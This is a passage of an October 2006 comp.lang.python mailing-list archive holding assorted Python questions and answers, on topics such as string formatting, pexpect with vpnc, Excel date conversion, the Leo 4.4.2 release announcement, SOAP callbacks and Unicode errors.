suspect I might need something like: print "There are "+str(number)+" ways to skin a "+furryanimal but the format string does the conversion for free. The other main reason for preferring format strings is that they make it easier to refactor the code. If you ever want to move the message away from where the formatting is done then it's a lot easier to extract a single string than it is to clean up the concatenation. From drake at ultech.com Sun Oct 29 16:26:47 2006 From: drake at ultech.com (drake at ultech.com) Date: 29 Oct 2006 13:26:47 -0800 Subject: Get pexpect to work References: Message-ID: <1162157207.693739.216820@m7g2000cwm.googlegroups.com> Jurian Sluiman wrote: > Ok, somebody helped my and found with "help(child.sendline)" that the > number (7) is the number of characters from my password. > > Still there doesn't seem to be that anything strange is happening. With > the logfile printed out, I found that child.expect places a 0 behind the > next rule. Is this always what's happening? And is that 0 causing all my > troubles? > > I'm a newbie with python, so I don't know much about it. This is (again) > the output, but with a sys.stdout line between it: > > >>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf") > >>> child.logfile = sys.stdout > >>> child.expect(".* password .*: ") > Enter password for wb1264222 at luchtbrug.tudelft.nl: 0 > >>> child.sendline("[my_password]") > 7 > > Any help is really appreciated! I can search on the Internet, but with no > clue to search for and which keywords to use, all results don't help me. > > Thanks, > Jurian > > PS. Sorry for my bad English, I hope you can understand it. I use a slightly different approach for starting vpnc-connect if that will help: 1. have your script create a temporary vpnc configuration file (including your password): f1=open('/tmp/vpn.conf', 'w') f1.write('IPSec gateway ' + vpnAddress + '\n') f1.write('IPSec ID ' + vpnGroup + '\n')....etc. 2. create a temporary results file, such as f2 = open('/tmp/vpncResults.txt', 'w') 3. start the vpn client: p = subprocess.Popen('/usr/sbin/vpnc-connect /tmp/vpn.conf', shell=True, stdout=f2).stdout 4. poll the results file to determine whether or not the connection succeeded 5. delete the temporary configuration file Creating a temporary configuration file keeps my password out of clear text other than for the few seconds the configuration file lives on my hard drive. In reality, my program runs within the Twisted event-driven framework, so I just create a deferred object when invoking vpnc-connect and wait for the callback to see if the connection was successful, but an earlier incarnation of my program worked with the above code. From veracon at gmail.com Sat Oct 14 11:37:31 2006 From: veracon at gmail.com (veracon) Date: 14 Oct 2006 08:37:31 -0700 Subject: Making a shorter shebang Message-ID: <1160840251.769368.327090@m7g2000cwm.googlegroups.com> Long story short, in order to use Python 2.5, I've compiled it in my own account on my hosting. It works fantastic as /home/my_username/python2.5, but the shebang is a bit long. Is there a way to shorten it (environment variables?) or, even better, make /usr/bin/env python point to it? Thanks in advance! From steve at holdenweb.com Wed Oct 4 08:10:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 13:10:05 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Giovanni Bajo wrote: > A.M. Kuchling wrote: > > >>>... using a non open source tracker (called JIRA - never heard >>>before of course) for Python itself. >> >>Other projects do use it; see >> for a partial list, and a >>link to the Apache Software Foundation's issue trackers. > > > which, in my humble opinion, is just a list of other examples of projects which > are misguided. People seem to have no idea when a company is sold, when a CEO > is changed, or something like that. Hhistory's repeating, but hackers are not > learning. > > >>>Does this smell "Bitkeeper fiasco" to anyone else than me? >> >>The committee did expect this recommendation to be controversial. :) > > > I guess :) > > In fact, I have a deepest hope that this recommendation was just a fake just to > get people setup a roundup installation... But sadly people are much happier complaining on c.l.py than exerting themselves to support the community with an open source issue tracker. Hello, Jira .... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From claird at lairds.us Tue Oct 3 23:28:36 2006 From: claird at lairds.us (Cameron Laird) Date: Wed, 4 Oct 2006 03:28:36 +0000 Subject: Manipulate PDFs References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com> <7fdbv3-h53.ln1@lairds.us> Message-ID: <4cmbv3-lmh.ln1@lairds.us> In article <7fdbv3-h53.ln1 at lairds.us>, I misled the newsgroup by writing: . . . >On a large, Very Important Zope site I maintain, though, one which >delivers thousands of dynamically-generated PDF images (not to be >confused with the hundreds of thousands of PDF monthly statement >accounts, invoices, ... I know other organizations generate), I >rely on html2pdf, along with small slices of ReportLab's freeware. >Our users seem plenty happy. Aieee! Folks, I told falsehoods. We're NOT using html2pdf, as in , but something our source *calls* html2pdf based on Easy Software's HTMLDOC . While we STRONGLY emphasize free software in our installations, HTMLDOC has worked out great for us. Easy Software has consistently provided good service. I apologize for the confusion. From giles_brown at hotmail.com Fri Oct 6 06:22:39 2006 From: giles_brown at hotmail.com (Giles Brown) Date: 6 Oct 2006 03:22:39 -0700 Subject: How do I read Excel file in Python? In-Reply-To: <1160092463.755080.127850@c28g2000cwb.googlegroups.com> References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> <1160069137.525290.90000@m73g2000cwd.googlegroups.com> <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com> <1160077793.218033.108840@m73g2000cwd.googlegroups.com> <1160092463.755080.127850@c28g2000cwb.googlegroups.com> Message-ID: <1160130159.381538.233160@k70g2000cwa.googlegroups.com> John Machin wrote: > houdinihound at yahoo.com wrote: > > > > >>> excel_date = 38938.0 > > > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date) > > > > >>> python_date > > > > datetime.date(2006, 8, 11) > > > > > > Err, that's the wrong answer, isn't it? Perhaps it shoud be > > > datetime.date(1900, 1, 29)? > > > > Actually was about to post same solution and got same results. (BTW > > Simon, the OP date is Aug 9th, 2006). Scratched head and googled for > > excel date calculations... found this bug where it treats 1900 as leap > > year incorrectly: > > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm > > > > Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the > > calc: > > >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2) > > >>> python_date > > datetime.date(2006, 8, 9) > > > > ... and 2006-08-09 is only the correct answer if the spreadsheet was, > when last saved, using the 1900 ("Windows") date system, not the 1904 > ("Macintosh") date system. John, Just for me own curiosity, is this Excel concept of date numbers same as the OLE concept (see http://msdn2.microsoft.com/en-us/library/82ab7w69.aspx or search "MFC DATE" on MSDN). I put in some test cases for conversion code here: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496683 But would be interested to add any additional info on variations on this theme. Cheers, Giles From edreamleo at charter.net Sat Oct 28 07:48:37 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Sat, 28 Oct 2006 06:48:37 -0500 Subject: ANN: Leo 4.4.2 final released Message-ID: Leo 4.4.2 final is now available at: http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106 This release fixes a few bugs and adds support for controlling Leo from Emacs using pymacs. There are no known significant bugs in this version of Leo. Leo is a text editor, data organizer, project manager and much more. See: http://webpages.charter.net/edreamleo/intro.html The highlights of Leo 4.4.2: ---------------------------- - You can now store settings in myLeoSettings.leo without fear of those settings being changed by cvs updates or in future versions of Leo. - Leo's vnode and tnode classes are now completely independent of the rest of Leo. Some api's have been changed. This 'big reorg' and may affect scripts and plugins. - Leo's vnode and tnode classes can optionally be compatible with ZODB databases, i.e., they can optionally derive from ZODB.Persistence.Persistent. See Chapter 17: Using ZODB with Leo for details. - The leoOPML plugin defines commands to read and write OPML files. - The slideshow plugin allows Leo to run slideshows defined by @slideshow and @slide nodes. - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo outlines. - Much faster navigation through the outline. - When focus is in the outline pane, you can move to headlines by typing the first letter of headlines. - The find command now optionally closes nodes not needed to show the node containing the present match. - Numerous changes that make Leo easier to use without using a mouse, including new commands and options. - Many new minibuffer commands now appear in the Cmds menu. - A sax parser can now optionally read .leo files. - Fixed numerous bugs. Links: ------ Leo: http://webpages.charter.net/edreamleo/front.html What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html Home: http://sourceforge.net/projects/leo/ Download: http://sourceforge.net/project/showfiles.php?group_id=3458 CVS: http://leo.tigris.org/source/browse/leo/ Leo's Wiki: http://leo.zwiki.org/FrontPage Wikipedia: http://en.wikipedia.org/wiki/Leo_%28text_editor%29 Quotes: http://webpages.charter.net/edreamleo/testimonials.html -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From lux at perpetua.org Mon Oct 2 10:53:04 2006 From: lux at perpetua.org (Enrico) Date: Mon, 2 Oct 2006 16:53:04 +0200 Subject: Help with ConfigParser References: Message-ID: <452127b9$0$4563$4fafbaef@reader2.news.tin.it> Hi, from the documentation: optionxform(option) Transforms the option name option as found in an input file or as passed in by client code to the form that should be used in the internal structures. The default implementation returns a lower-case version of option; subclasses may override this or client code can set an attribute of this name on instances to affect this behavior. Setting this to str(), for example, would make option names case sensitive. Bye, Enrico From deets at nospam.web.de Wed Oct 11 17:45:09 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 11 Oct 2006 23:45:09 +0200 Subject: dicts + amb In-Reply-To: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> Message-ID: <4p56v5Fha0o7U1@uni-berlin.de> > Something unrelated that I don't know where to put. > Recently I have seen the amb operator, it's not a simple operator. I > have seen a (very simple) Ruby implementation: > http://www.randomhacks.net/articles/2005/10/11/amb-operator > I think a good amb implementation is a very complex thing. Can such > operator be useful for Python too? You might consider researching ALMA, a constraint-imperative programming language that allows for program execution to be rolled-back to so-called choicepoints. It heavily reminds me of that amb-operator of yours. Diez From dialUAZ###UZ#$AAtone at gWARAmail.com Wed Oct 4 10:42:53 2006 From: dialUAZ###UZ#$AAtone at gWARAmail.com (Valentino Volonghi aka Dialtone) Date: Wed, 4 Oct 2006 16:42:53 +0200 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159908166.587313.57370@i3g2000cwc.googlegroups.com> <7xr6xo97nd.fsf@ruckus.brouhaha.com> <87ac4ciynk.fsf@benfinney.id.au> <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com> Message-ID: <1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com> Steve Holden wrote: > > So clearly the 'get a daily backup of the data' is not the reason. > > Backing up a sqlite database is pretty easy. > > > Do you have any idea fo the scale of the Python issue (bug) database? Do > you really think SQLite would be a suitable platform for it? Considering that trac can also run on postgres or mysql and also considering that both of these databases have enough tools to deal with backups I think it's a non issue. -- Valentino Volonghi aka Dialtone Now Running MacOSX 10.4 Blog: http://vvolonghi.blogspot.com New Pet: http://www.stiq.it From mikeminer53 at hotmail.com Wed Oct 25 19:43:43 2006 From: mikeminer53 at hotmail.com (mkPyVS) Date: 25 Oct 2006 16:43:43 -0700 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: <1161819823.810257.159390@h48g2000cwc.googlegroups.com> I perform python development for cross platform firmware integration and analysis on a daily basis and the IDE I use and recommend is Komodo from ActiveState. Our worldwide development group (30) has recently all purchased the professional version as it integrates with several version control systems, has a built-in python debugger, a mutli-language/package GUI builder, and in-line code lookup/auto-complete functionality. There are a few nice-to-haves which aren't available such as: C (++, # or otherwise) auto-complete and alternate py-documentation viewer but the pros far outweighed the cons for our development team. http://www.activestate.com/Products/Komodo/?tn=1 From meithamj at gmail.com Mon Oct 23 20:36:14 2006 From: meithamj at gmail.com (meithamj at gmail.com) Date: 23 Oct 2006 17:36:14 -0700 Subject: pretty basic instantiation question In-Reply-To: References: Message-ID: <1161650174.804226.37720@m73g2000cwd.googlegroups.com> Why do you need to know the number of instances. I know that Python does not support Class Variable, but you can always create a global variable and increase it whenever you add a new instance. this will keep a record for you of how many instances you have. sittner at lkb.ens.fr wrote: > i'm very new to python, but i have a pretty basic question: > let's say i have a class, and i need to create a different number of > instances (changes every time - and i can't know the number in advance) in > a loop. > a function receives the number of instances that are needed, and creates > them like, > a=Myclass() > b=Myclass() > . > . > . > . > . > . > > what's the easiest way to go about this? > > thanks, > A From ptmcg at austin.rr._bogus_.com Sat Oct 14 05:27:36 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 14 Oct 2006 09:27:36 GMT Subject: SOAPpy and callback References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> <_8NXg.46981$DU3.27448@tornado.texas.rr.com> <4p9r78Fi2olfU1@uni-berlin.de> <4parepFho4q7U1@uni-berlin.de> Message-ID: "Diez B. Roggisch" wrote in message news:4parepFho4q7U1 at uni-berlin.de... > Maybe we have a misunderstanding here. I'm not a native speaker, so bear > with me. > That's okay, I'll type very, very slowly. :) > In CORBA or RMI, there is a notion of an object/interface reference passed > around, which allows for callbacks in a natural way. Which is AFAIK not > the case in SOAP. Hell, they don't even know objects and stateful > connections... > Are you confusing SOAP with REST? The standard I refer to defines a set of WSDL files that can be crunched to build implementation bindings for C#, Boo, Java, etc. (Unfortunately, not Python - there is some issue with SOAPpy that will not handle the input WSDL.) These bindings do model the remote interface bindings as objects, and stateful connections and sessions are very much part of the standard. If you like, you can download the WSDL files at http://dom.semi.org/web/wstandards.nsf/supmaterials. It is true, the implementation of the callback in SOAP is quite crude, as it exposes the callback as an endpoint wrapped around a URL string. Not very object-y at all - but then think back to CORBA again, and many systems did something similar by passing around names bound to objects in a nameserver, or just cut to the chase and shipped IOR's around directly. > That you obviously can define a system that needs several SOAP servers to > interact with each other - well, you could also perform inter process > communication using printed documents, some horses and either OCR or data > typists. But this isn't exactly inter process communication in my book, > albeit there certainly _are_ processes, _and_ communication :) > About 10 years ago, the standards body for semiconductor process integration *was* using IDL to define process interfaces, and defining CORBA implementation bindings. Unfortunately, the CORBA learning curve was too much, and the implementations were too expensive (at the time; today ACE and omniOrb are reasonable platforms). The group today went with SOAP, defining a set of WSDL files to serve as the standard interface definition, in place of the CORBA IDL of yore. And what you describe might still be a step up from the RS-232-based system in place today (instituted in the 70's, upgraded to ethernet in the late 80's, but still limited to encoded ASCII and point-to-point connections). I would definitely agree that working with callbacks in SOAP sometimes feels like an unnatural act. But it is clearly an interprocess communication, and it does have an object model to its language bindings. Any Rube Goldberg aspects to SOAP are neatly buried in the code generated from the WSDL. -- Paul From no at spam.com Wed Oct 25 14:22:06 2006 From: no at spam.com (Farshid Lashkari) Date: Wed, 25 Oct 2006 11:22:06 -0700 Subject: cleaner way to write this? In-Reply-To: References: Message-ID: John Salerno wrote: > Hi guys. I'm looking for a nicer, more compact way of writing this code. > It doesn't have to be anything fancy, just something without the > duplication and preferably only one return statement. > > def create_db_name(self): > dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', > 'Create New Database') > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > dlg.Destroy() > return db_name > else: > dlg.Destroy() > return > > One problem is that if "Cancel" is pressed, I can't return anything. > Another problem is that the dialog must be destroyed, so that has to > come before any return statements. > > Thanks. This should work: def create_db_name(self): dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', 'Create New Database') db_name = None if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() dlg.Destroy() return db_name -Farshid From fredrik at pythonware.com Wed Oct 25 11:24:16 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 17:24:16 +0200 Subject: class method question In-Reply-To: References: Message-ID: Sylvain Ferriol wrote: > can you explain why python does not see difference between instance > method and class method, having the same name You're trying to put two objects with the same name in the same namespace. > example > >>> class toto(object): > ... def f(self): > ... print('instance method') > ... @classmethod > ... def f(cls): > ... print('class method') > ... > >>> t=toto() > >>> t.f > > > >>> t.f() > class method > >>> toto.f() > class method > > if i do the same in ruby: Python works better if you use it to write Python programs. From fredrik at pythonware.com Tue Oct 17 09:00:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 15:00:29 +0200 Subject: Newbie: datetime conversion question References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Message-ID: "kevin evans" wrote: > I'm trying to convert some code from Ruby to Python, specifically.. > > timestamp = "%08x" % Time.now.to_i > > Make a hex version of the current timestamp. Any ideas how best to do > this in python gratefully received.. that's perfectly valid Python code, provided Time is an object that has a "now" property which in turn has a "to_i" property. but assuming that you don't have such an object, you can do something like: timestamp = "%02x" % time.time() From R.Brodie at rl.ac.uk Tue Oct 3 11:07:12 2006 From: R.Brodie at rl.ac.uk (Richard Brodie) Date: Tue, 3 Oct 2006 16:07:12 +0100 Subject: Best way to handle large lists? References: <45227992.8090704@websafe.com> <45227BA1.6080107@hotmail.com> Message-ID: "Chaz Ginger" wrote in message news:45227BA1.6080107 at hotmail.com... > Each item in the list is a fully qualified domain name, e.g. > foo.bar.com. The order in the list has no importance. So you don't actually need to use lists at all, then. You can just use sets and write: newSet = bigSet - littleSet From no-spam at no-spam-no-spam.com Wed Oct 25 19:42:11 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 01:42:11 +0200 Subject: Converting Pascal syntax to Python Message-ID: I want to convert some algorithms from a Pascal dialect to Python. (Not embedding, but code itself) Its mainly only math and function calls and simple array access but lengthy. Think Pascal is quite simlar/simpler in logic for that kind of stuff (in comparison to C/C++), so maybe quite simple syntax translation would help. Is there a tool or script around which can help at least to save most of typing work? -robert From sjmachin at lexicon.net Sat Oct 7 18:06:28 2006 From: sjmachin at lexicon.net (John Machin) Date: 7 Oct 2006 15:06:28 -0700 Subject: need some regular expression help References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> Message-ID: <1160258788.750432.286140@h48g2000cwc.googlegroups.com> Chris wrote: > I need a pattern that matches a string that has the same number of '(' > as ')': > findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [ > '((2x+2)sin(x))', '(log(2)/log(5))' ] > Can anybody help me out? > No, there is so such pattern. You will have to code up a function. Consider what your spec really is: '42^((2x+2)sin(x)) + (log(2)/log(5))' has the same number of left and right parentheses; so does the zero-length string; so does ') + (' -- perhaps you need to add 'and starts with a "("' Consider what you are going to do with input like this: print '(' + some_text + ')' Maybe you need to do some lexical analysis and work at the level of tokens rather than individual characters. Which then raises the usual question: you have a perception that regular expressions are the solution -- to what problem?? HTH, John From cameron.walsh at gmail.com Wed Oct 18 22:31:01 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Thu, 19 Oct 2006 10:31:01 +0800 Subject: Cannot import a module from a variable In-Reply-To: References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: Gabriel Genellina wrote: > At Wednesday 18/10/2006 22:51, Cameron Walsh wrote: > >> previous_directory = os.getcwd() >> try: >> os.chdir(directory) >> [ ... ] >> return modules >> finally: >> os.chdir(previous_directory) >> >> Woah, that actually works? Having the "finally" after the "return"? >> That could make some things easier, and some things harder... > > Note that moving the return statement after the finally does *exactly* > the same thing, generates shorter code, and is a lot more readable (IMHO). > > I wholeheartedly agree, the above version is hideous. It was a copy-paste error that got it after the return statement and I was surprised to see it actually worked. From Matthew.Warren at Digica.com Thu Oct 5 06:28:08 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 11:28:08 +0100 Subject: Why do this? Message-ID: Ok, not really python focused, but it feels like the people here could explain it for me :) Now, I started programming when I was 8 with BBC Basic. I never took any formal classes however, and I have never become an expert programmer. I'm an average/hobbyist programmer with quite a few languages under my belt but I cant do any really fancy tricks with any of them. (although Python might be nudging me into more advanced things, now I'm starting to get what all the __method__ thingies and operators are all about) I learned over the years to do things like the following, and I like doing it like this because of readability, something Python seems to focus on :- Print "There are "+number+" ways to skin a "+furryanimal But nowadays, I see things like this all over the place; print("There are %s ways to skin a %s" % (number, furryanimal)) Now I understand there can be additional formatting benefits when dealing with numbers, decimal places etc.. But to me, for strings, the second case is much harder to read than the first. I hope I'm not being dense. The result is that I have pathalogically avoided print "%s" % (thing) because it seems to just over complicate things. Ta, :) Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From bignose+hates-spam at benfinney.id.au Thu Oct 26 18:48:26 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 08:48:26 +1000 Subject: Handling emails References: <200610262031.25448.fulvio@tm.net.my> <87mz7jgrma.fsf@benfinney.id.au> Message-ID: <8764e6hex1.fsf@benfinney.id.au> Steve Holden writes: > Please stop sending messages with obnoxious content like this. Yes, I guess I should have expected a response like that from someone :-) > If you insist on telling someone off publicly via a newsgroup, once > is enough. Apparently not. I tried initially contacting him privately. Then I tried explaining in a (single) message to the list. > I agree it's a pain, but Fulvio may not have it in his power to > switch the header off. Mail admins do some incredibly stupid things. There is always the option to not send messages to this list using that mail server. I don't care what option is taken, so long as the useless and obnoxious headers on his messages stop. -- \ Lucifer: "Just sign the Contract, sir, and the Piano is yours." | `\ Ray: "Sheesh! This is long! Mind if I sign it now and read it | _o__) later?" -- http://www.achewood.com/ | Ben Finney From http Tue Oct 31 13:16:20 2006 From: http (Paul Rubin) Date: 31 Oct 2006 10:16:20 -0800 Subject: "best" rational number library for Python? References: Message-ID: <7xvem0nyff.fsf@ruckus.brouhaha.com> skip at pobox.com writes: > Performance is, for now, certainly not an issue. Even a pure Python > rational number class would probably suffice. There are certainly some of those around, but I'm surprised there's a problem with GMP and Solaris. From johnjsal at NOSPAMgmail.com Mon Oct 2 16:28:17 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 02 Oct 2006 20:28:17 GMT Subject: moving limewire music to my itunes library In-Reply-To: <1159820467.904936.300170@i42g2000cwa.googlegroups.com> References: <1159820467.904936.300170@i42g2000cwa.googlegroups.com> Message-ID: jenann50 at hotmail.com wrote: > hi all, i know this is probably a silly question but Why are you asking this here? Do you want a Python solution for these tasks? > i dont know how to > move my limewire tunes to my itunes folder so that i can download them > onto my ipod. Just "Import" them from iTunes directly. This will add them to your iTunes library/xml files. > also if i have a music cd and load it into media windows > player, how do i also get that music into my itunes library Open the CD in iTunes and rip it directly from there. From bearophileHUGS at lycos.com Sat Oct 14 19:54:44 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 14 Oct 2006 16:54:44 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160867101.267052.113280@h48g2000cwc.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160867101.267052.113280@h48g2000cwc.googlegroups.com> Message-ID: <1160870083.987602.52690@f16g2000cwb.googlegroups.com> Alexey Borzenkov: > I was so attached to these "nameless" def-forms that I was even shocked > when I found that this doesn't work in python: > f = def(a, b): > return a*b > Another good feature of Boo, btw. I think Boo has some good things worth consideration (and maybe worth to copy) and some bad things that I like less than Python ones. Turning def and class into functions reduces the need of lambdas (compared to a lambda the required return is the only thing in the way) and I like it, but maybe it reduces code readabilty a bit for people that have just started to program: mul2 = def(a, b): return a * b Instead of: def mul2(a, b): return a * b The lightweight Io language uses an even simpler approach, some examples: http://www.iolanguage.com/about/samplecode/ An example: factorial := method(n, if(n == 1, 1, n * factorial(n - 1))) The "method" function is used to define functions... Bye, bearophile From maxerickson at gmail.com Tue Oct 10 19:17:33 2006 From: maxerickson at gmail.com (Max Erickson) Date: Tue, 10 Oct 2006 23:17:33 +0000 (UTC) Subject: MP3 files and Python... References: Message-ID: Karlo Lozovina <_karlo_ at _mosor.net_> wrote: > I'm looking for a Python lib which can read and _write_ ID3v1 and > ID3v2 tags, and as well read as much as possible data from MP3 > file (size, bitrate, samplerate, etc...). > > MP3 reproduction is of no importance... > Try mutagen: http://www.sacredchao.net/quodlibet/ From shejo284 at gmail.com Tue Oct 3 11:33:37 2006 From: shejo284 at gmail.com (Sheldon) Date: 3 Oct 2006 08:33:37 -0700 Subject: Resuming a program's execution after correcting error In-Reply-To: <1159483617.159482.169770@i3g2000cwc.googlegroups.com> References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159483617.159482.169770@i3g2000cwc.googlegroups.com> Message-ID: <1159889617.610051.100990@b28g2000cwb.googlegroups.com> MRAB wrote: > Sheldon wrote: > > Hi. > > > > Does anyone know if one can resume a python script at the error point > > after the error is corrected? > > I have a large program that take forever if I have to restart from > > scratch everytime. The error was the data writing a file so it seemed > > such a waste if all the data was lost and must be recalculated again. > > > You could modify the program while you're debugging it so that instead > of, say: > > calculate data > write data > > you have: > > if saved data exists: > load data > else: > calculate data > save data > write data > > The pickle module would be useful here. > > Matthew I like your idea Matthew but I don't know how to pickle the many variables in one file. Do I need to pickle each and every variable into a seperate file? var1,var2 pickle.dump(var1,f) pickle.dump(var2,f2) /Sheldon From nitte.sudhir at gmail.com Mon Oct 16 19:44:38 2006 From: nitte.sudhir at gmail.com (kath) Date: 16 Oct 2006 16:44:38 -0700 Subject: XLRDError: Can't find workbook in OLE2 compound document Message-ID: <1161042278.457487.132250@e3g2000cwe.googlegroups.com> Hi.... XLRDError: Can't find workbook in OLE2 compound document What does this error means? When I try to open some excel files using XLRD, I encounter this error. Not with every excel, but with some file. Can anybody help me know, what is this error trying say and what I should do to avoid this. Traceback (most recent call last): File "D:\PYTHON23\lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", line 310, in RunScript exec codeObject in __main__.__dict__ File "D:\Python23\Testing area\Python and Excel\read_map.py", line 71, in ? workbook=xlrd.open_workbook(_file[kfp]) File "D:\PYTHON23\Lib\site-packages\xlrd\__init__.py", line 121, in open_workbook logfile=logfile, verbosity=verbosity, pickleable=pickleable, use_mmap=use_mmap, File "D:\PYTHON23\Lib\site-packages\xlrd\__init__.py", line 304, in __init__ raise XLRDError("Can't find workbook in OLE2 compound document") XLRDError: Can't find workbook in OLE2 compound document Thank you. Regards, sudhir. From george.sakkis at gmail.com Mon Oct 16 00:55:52 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 15 Oct 2006 21:55:52 -0700 Subject: OT: What's up with the starship? References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> Message-ID: <1160974552.906162.115060@k70g2000cwa.googlegroups.com> rurpy at yahoo.com wrote: > Robert Hicks wrote: > > rurpy at yahoo.com wrote: > > > T. Bryan wrote: > > > > Thomas Heller wrote: > > > > > > > > > I cannot connect to starship.python.net: neither http, nor can I login > > > > > interactively with ssl (and the host key seems to have changed as well). > > > > > > > > > > Does anyone know more? > > > > > > > > starship.python.net was compromised. It looked like a rootkit may have been > > > > installed. The volunteer admins are in the process of reinstalling the OS > > > > and rebuilding the system. That process will probably take a few days at > > > > least. > > > > > > Does anyone know more? > > > > > > What about the integrity of the python packages hosted there? > > > When was the site compromised? > > > I just installed the python 2.5 pywin module last week. > > > Should I be concerned? > > > > > > Is this related to the Python security problem recently announced? > > > > Did you even read about the vulnerability? > > Yes. Do you have any answers, or do you just enjoy posting irrevelant > responses? I guess his response implied that what's irrelevant here is the vulnerability, and accordingly your worries about it. From nitte.sudhir at gmail.com Tue Oct 10 14:20:03 2006 From: nitte.sudhir at gmail.com (kath) Date: 10 Oct 2006 11:20:03 -0700 Subject: what is this UnicodeDecodeError:....? Message-ID: <1160504403.384348.253650@k70g2000cwa.googlegroups.com> I have a number of excel files. In each file DATE is represented by different name. I want to read the date from those different file. Also the date is in different column in different file. To identify the date field in different files I have created a file called _globals where I keep all aliases for DATE in a array called 'alias_DATE'. Array alias_DATE looks like, alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum', 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate', 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate', 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum', """Kurs-\ndatum""", "Kurs-\ndatum"] Now I want the index of the column where date is there. I followed the with followin code. >>> b=xlrd.open_workbook('Santander_051206.xls') >>> sh=b.sheet_by_index(0) >>> sh.cell_value(rowx=0, colx=11) u'Fecha de Valoraci\xf3n' >>> val=sh.cell_value(rowx=0, colx=11) >>> val u'Fecha de Valoraci\xf3n' >>> print val Fecha de Valoraci?n >>> import _globals # the file where I have stored my 'alias_DATE' array >>> _globals.alias_DATE.index(val) Traceback (most recent call last): File "", line 1, in ? UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position 17: ordinal not in range(128) >>> Though I have matching value in the array, why I am getting this error. Can any one please tell me why is this error, and how to get rid of this error. Because I have some files which containing some more special characters. Thank you in advance. Sudhir. From martin at v.loewis.de Tue Oct 31 16:33:57 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 31 Oct 2006 22:33:57 +0100 Subject: Integrating Python with Fortran In-Reply-To: 